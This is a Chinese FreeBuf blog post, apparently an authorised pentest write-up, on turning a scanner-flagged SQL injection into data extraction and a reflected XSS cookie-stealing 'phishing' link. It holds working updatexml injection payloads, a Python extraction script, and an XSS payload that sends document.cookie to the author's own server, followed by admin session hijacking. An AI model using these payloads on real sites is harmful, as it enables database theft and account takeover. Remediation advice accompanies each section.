freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一次从sql注入到xss“钓鱼”
FreeBuf_374835 2022-05-06 18:20:58 109893
所属地 台湾省

前言

在某群里看到一位老哥的求助,给的一张awvs的扫描结果。通过询问得知,老哥对自己的服务器进行了扫描,扫出了sql注入,但是他好像是初学安全,无法复现,所以,在“好奇心”的驱使下,帮助他复现该漏洞。之后结合扫描结果截图,以及手测时的一些结果,猜测可能存在XSS漏洞。验证之...果然有。

申明:已经获得老哥的授权。切勿利用该漏洞用于不法操作。

1651830472_6274eec8b1725fab59bca.png!small?1651830473767

SQL注入

AWVS扫描结果

可以清晰的看到,存在sql注入,并且未设置httponly属性。

1651830490_6274eeda48f8a0df37a3c.png!small?1651830493616

验证

单引号报错,添加注释后页面正常回显,很明显是报错注入。1651830511_6274eeef49d8404e1fb45.png!small?1651830512253

1651830519_6274eef790f1ee5c356a9.png!small?1651830520570

POC

#爆库
id=1' and updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1) --+
#爆表
id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) --+
#爆字段
id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='xxx_table' limit 0,1),0x7e),1) --+

1651830554_6274ef1a98d9718b3eeab.png!small?1651830555557

1651830558_6274ef1e1e1db56c06859.png!small?1651830587428

1651830629_6274ef6594a36b6a1f6c2.png!small?1651830630565

爆破脚本

有些许问题,不过不是很影响。

import requests
from lxml import etree
import re

table_name=['xxx_table', 'xxx_table', 'xxx_table']
column_name=['id,data,codes_id','AdminId,FirstName,LastName','Id,AdminId,LoginTime']
url=r'http://www.xxx.xx/page.php?'

for i in range(3):
table=table_name[i]
column=column_name[i]
result=[]
for num in range(3):
# print(num,'...')
try:
tmp_url=url+"id=1' and updatexml(1,concat(0x7e,(select group_concat({}) from {} limit {},1),0x7e),1) --+".format(column,table,num)
response=requests.get(tmp_url)
response_text=response.text
tree=etree.HTML(response_text)
target_str=tree.xpath('/html/body/div/div[2]/p[2]/text()')[0]
name=re.findall(r"'~(.*?)'",target_str)  #得到的是数组
result.append(name[0])
# print(tmp_url)
# print(num,'...name is..',name)
except:
continue
print(result)

1651830598_6274ef46761923f87d85b.png!small?1651830599354

sql注入修复建议

- 对输入数据的合法性进行检测:过滤关键字、特殊字符
- 对输出进行检测,防止二次注入
- 限制输入数据长度和类型
- 限制目录权限不可执行
- 采用预编译语句(将sql语句所执行的功能提前写好,从而不允许执行其他操作)

补充

用sqlmap跑了下,发现不是dba权限,遂无法提权,但很奇怪,老哥说是数据库是root,有可能是我太菜了吧。尝试获取其他数据,发现被加密。到此sql注入部分结束。

XSS

后续我想到的是自己用过union联合查询爆数据,发现存在回显位,猜测有可能对输出没有过滤/编码。且该请求时GET型的,遂尝试。

POC

id=-1'union select <script>alert(/xss/)</script>,2,3,4,5,6 --+
id=-1'union select <script>alert(document.cookie)</script>,2,3,4,5,6 --+

1651830735_6274efcf70a1eaa51983a.png!small?1651830736434

1651830740_6274efd442da4eda3bc8d.png!small?1651830741203

发现的确可以获取cookie,这就很nice了,如果我构造一条读取cookie的js,拼接到url中,然后发送给受害老哥,在他登录该站点的时候点了该url,那么就可以将cookie发送到我们的服务器中。

"钓鱼"

本地测试一下,在这个站点随便注册一个用户。

这里我遇到了个大坑,最开始没注意,忘了+号会变成空格,需要编码成%2b,所以浪费了很多的时间,不然20分钟弄完。

最终的POC可以也许转换成短链接,但是我测试没成功。

#poc
id=-1'union select <script>javascript:(location.href="http://云服务器_IP:6789/file.php?id="%2bdocument.cookie)</script>,2,3,4,5,6 --+
  • chrome浏览器先登录。

  • chrome打开该url。

  • 然后在firefox浏览器上,添加该cookie即可。

step 1

1651830775_6274eff7d28566ba9dc7b.png!small?1651830776906

step 2

云服务器开启监听

1651830785_6274f001cae14c7f4823d.png!small?1651830786735

chrome浏览器打开

1651830795_6274f00b782a85f717569.png!small?1651830796619

成功获取cookie

1651830804_6274f01430f5cd7f4edec.png!small?1651830805114

step 3

Firefox是需要登录的

1651830817_6274f02109e56096400e0.png!small?1651830818018

添加cookie,这里使用了cookie editor插件

1651830827_6274f02b94d620e2053b1.png!small?1651830828624

刷新

1651830842_6274f03ac79afdf56ce72.png!small?1651830843854

测试管理员账户

经过测试,手机打开链接是无法触发这个XSS的,于是老哥很慷慨的将账号密码告诉了我。。我怎么也没想到竟然是弱口令,因为只是简单的测试,所就没有爆破过。。以后一定要爆破组合密码。

#poc
id=-1'union select <script>javascript:(location.href="http://云服务器_IP:6789/file.php?id="%2bdocument.cookie)</script>,2,3,4,5,6 --+

操作步骤跟普通用户一样,不再赘述

1651830854_6274f0469971aa2a7f8cb.png!small?1651830855673

Chrome浏览器登录,同网站打开链接,云服务器接收到Cookie,最后使用Firefox浏览器添加Cookie

1651830869_6274f05507547d2dc643d.png!small?1651830870024

XSS修复建议

过滤输入、输出
过滤特殊字符',",<,>,script,onmousevore,src等等
对输入的数据进行HTML转义,使其不会识别为可执行脚本
设置浏览器httponly属性

总结

Sql注入与XSS都是因为没有对输入输出数据的合法性进行检测(过滤、转义等)。根据过往自己的经验来看,有回显位置且存在sql注入的地方,也有可能存在xss。最后,手机端访问POC无法抓取到Cookie,可能存在防护,短链接无法成功的原因暂时不太清楚,直接明晃晃的发送POC太过显眼,正常人也不可能去点,肯定还有更高级的方法,我还需要不断的学习。


# 渗透测试 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_374835 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_374835 LV.2
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 0 关注者
域渗透之黄金票据与白银票据
2022-04-20
记一次域渗透
2022-03-16
文章目录